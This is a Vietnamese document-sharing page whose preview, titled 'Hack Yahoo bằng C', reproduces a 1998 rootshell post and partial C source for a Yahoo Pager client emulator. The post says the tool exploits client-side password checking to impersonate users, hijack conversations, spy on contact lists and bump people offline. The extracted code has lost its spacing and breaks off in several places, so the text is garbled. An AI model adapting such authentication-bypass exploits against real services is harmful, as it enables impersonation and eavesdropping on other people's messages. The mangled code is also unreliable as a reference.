Danh mục

Hack Yahoo bằng C

Số trang: 5      Loại file: doc      Dung lượng: 29.00 KB      Lượt xem: 18      Lượt tải: 0    
Thư Viện Số

Hỗ trợ phí lưu trữ khi tải xuống: miễn phí Tải xuống file đầy đủ (5 trang) 0

Báo xấu

Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

Tài liệu tham khảo chuyên đề máy tính về Hack Yahoo bằng C
Nội dung trích xuất từ tài liệu:
Hack Yahoo bằng CHackYahoobằngC:trangnàyđãđượcđọc lần[http://www.rootshell.com/]Fromdouglas@min.netSunAug218:48:441998Date:Sun,2Aug199820:56:160400(EDT)From:D.WinslowTo:wwwrequest@rootshell.comSubject:YahooPagerinsecurity/*YahooPagerClientEmulatorThingyp.cDouglasWinslowSunAug220:55:11EDT1998KnowntocompileonLinux2.0,FreeBSD2.2,andBSDi3.0.hitoaapbdcdrwjfnjrcmmmcd[cejn]b#czandrootshellYahooPagerseemstotrusttheclientsidetodopasswordverification.Thatsjustplainsad.Allyouneedtosupplyisausernametobumppeopleoff,spyoncontactlists,hijackconversations,impersonatepeople,etc.Iknowsomeofthisissleazycode..Iapologise,asitwaswrittenmoreoutofhastethanthought.Obviously,dontexpectthistoworkaftertheyvepatchedtheirserverside.Hereareafewnotestogetyoustarted:Contactlistupdateformat:nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?)Example:monica(2,B37F6832,5AF089C6,1,0,0)Multiplecontactlistupdatesbeginwithx,.Example:3,monica(...),bill(...),janetreno(...)Therestoftheserverresponsesareratherstraightforward;Illleavethoseuptoyou.;>*/#include#include#include#include#include#defineYP_SERVcs3.yahoo.com#defineYP_PORT5050charxmt[1128],buffer[38];intflag,k,s;voidyparse();voidmain(intargc,char*argv[]){charmesg[1024],tmp[38],to[38];inti,n,out,port;structsockaddr_inserv_addr;structhostent*server;if(argc>1)strncpy(tmp,argv[1],36);else{printf(Logonas?);fgets(tmp,36,stdin);tmp[strlen(tmp)1]=0;}if(!strlen(tmp))exit(1);memset(xmt,0,sizeof(xmt));strcpy(xmt,YPNS1.1);xmt[8]=104;xmt[9]=3;xmt[12]=1;/*Service:Logon*/for(i=32;i{fprintf(stderr,**Cantresolve\%s\n,YP_SERV);exit(1);}s=socket(AF_INET,SOCK_STREAM,0);bzero(&serv_addr,sizeof(serv_addr));serv_addr.sin_family=AF_INET;bcopy(server>h_addr,&serv_addr.sin_addr.s_addr,server>h_length);serv_addr.sin_port=htons(port);if(connect(s,&serv_addr,sizeof(serv_addr))to[strlen(to)1]=0;if(strlen(to)){memset(mesg,0,sizeof(mesg));printf(Msg:);fgets(mesg,1024,stdin);mesg[strlen(mesg)1]=0;memset(xmt,0,sizeof(xmt));strcpy(xmt,YPNS1.1);xmt[8]=104;xmt[9]=4;xmt[12]=6;/*Service:Message*/for(i=32;isprintf(tmp,%i,buffer[7]);len=atoi(tmp);if(len

Tài liệu được xem nhiều: